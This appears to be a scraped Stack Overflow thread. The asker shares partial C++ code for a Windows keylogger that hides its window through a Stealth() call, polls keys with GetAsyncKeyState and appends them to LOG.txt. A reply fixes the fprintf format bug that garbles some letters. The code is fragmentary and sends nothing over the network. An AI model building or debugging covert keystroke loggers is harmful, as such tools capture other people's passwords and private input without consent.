Logo Questions Linux Laravel Mysql Ubuntu Git Menu
 

c++ keylogger not working correct

I've been a visitor of stackoverflow for quite some time and this is my first question on this site :) I'm trying to write a keylogger which will save the keys pressed in a .txt file but the problem is this. I check the outputs on cmd.exe with cout and I see that it works fine but when I open the LOG.txt file I see that the program prints abcdefgh as 012345678. Only these noncapital letters don't work. Every other key is printed correctly inside the file. Here is my main function:

int main()
{
Stealth();
//Focus();
char i;
while (1)
{
    for(i = 8; i <= 255; i++){      
        if (GetAsyncKeyState(i) == -32767){     
            i=_getch();
            cout << i << endl;
            Save(i,"LOG.txt");
        }
    }
}
system("pause");
return 0;
}

Save function:

int Save(int key, char *file)
{   
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");
*(determining special conditions like ENTER,SPACE...)*
*...*
*...*
else
fprintf(OUTPUT_FILE, "%s", &key);
fclose(OUTPUT_FILE);
return 0;
}
like image 205
ardatosun Avatar asked May 12 '26 10:05

ardatosun


1 Answers

I see one thing wrong wrong so far, and a couple things I would do differently. First, I don't think I would make it open and close the file every time it writes a single character.

Second (the wrong wrong), is you call fprintf specifying a string %s and giving it a integer pointer &key. An easy fix should be fprintf(OUTPUT_FILE, "%c", (char)key), although much more elegant solutions exist for putting a single character ie putc.

like image 148
Shade Avatar answered May 14 '26 00:05

Shade



Donate For Us

If you love us? You can donate to us via Paypal or buy me a coffee so we can maintain and grow! Thank you!